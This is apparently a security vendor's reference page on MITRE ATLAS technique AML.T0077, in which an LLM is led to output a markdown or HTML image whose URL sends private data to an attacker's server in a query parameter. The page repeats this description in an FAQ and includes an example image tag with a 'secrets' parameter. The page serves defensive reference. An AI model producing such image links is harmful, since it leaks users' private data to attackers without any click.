AML.T0077: LLM Response Rendering
An adversary may get a large language model (LLM) to respond with private information that is hidden from the user when the response is rendered by the user's client. The private information is then exfiltrated. This can take the form of rendered images, which automatically make a request to an adversary controlled server.
The adversary gets AI to present an image to the user, which is rendered by the user's client application with no user clicks required. The image is hosted on an attacker-controlled website, allowing the adversary to exfiltrate data through image request parameters. Variants include HTML tags and markdown
For example, an LLM may produce the following markdown: ``` !ATLAS ```
Which is rendered by the client as: ``` <img src="https://atlas.mitre.org/image.png?secrets="private data"> ```
When the request is received by the adversary's server hosting the requested image, they receive the contents of the `secrets` query parameter.
Standards mapping
Where this fits in a TurboPentest engagement
This weakness is not covered by the automated black-box pentest. IntegSec pentesters cover it in a manual engagement.
Frequently asked questions
What is AML.T0077 LLM Response Rendering?
An adversary may get a large language model (LLM) to respond with private information that is hidden from the user when the response is rendered by the user's client. The private information is then exfiltrated. This can take the form of rendered images, which automatically make a request to an adversary controlled server. The adversary gets AI to present an image to the user, which is rendered by the user's client application with no user clicks required. The image is hosted on an attacker-controlled website, allowing the adversary to exfiltrate data through image request parameters. Variants include HTML tags and markdown For example, an LLM may produce the following markdown: ``` !ATLAS ``` Which is rendered by the client as: ``` <img src="https://atlas.mitre.org/image.png?secrets="private data"> ``` When the request is received by the adversary's server hosting the requested image, they receive the contents of the `secrets` query parameter.
Which tactics does AML.T0077 belong to?
AML.T0077 maps to the Exfiltration tactic.
Does TurboPentest test for LLM Response Rendering?
This weakness is not covered by the automated black-box pentest. IntegSec pentesters cover it in a manual engagement.
Related MITRE ATLAS techniques
About this reference
These security references are maintained by IntegSec, an offensive-security firm whose team holds CISSP, OSCP, and OSCE certifications and has run thousands of penetration tests. Content is kept current as tools, standards, and attack techniques evolve.
Find these issues before an attacker does
TurboPentest runs an agentic AI pentest against your target and reports findings with proof, from $99 per target.
Start a pentest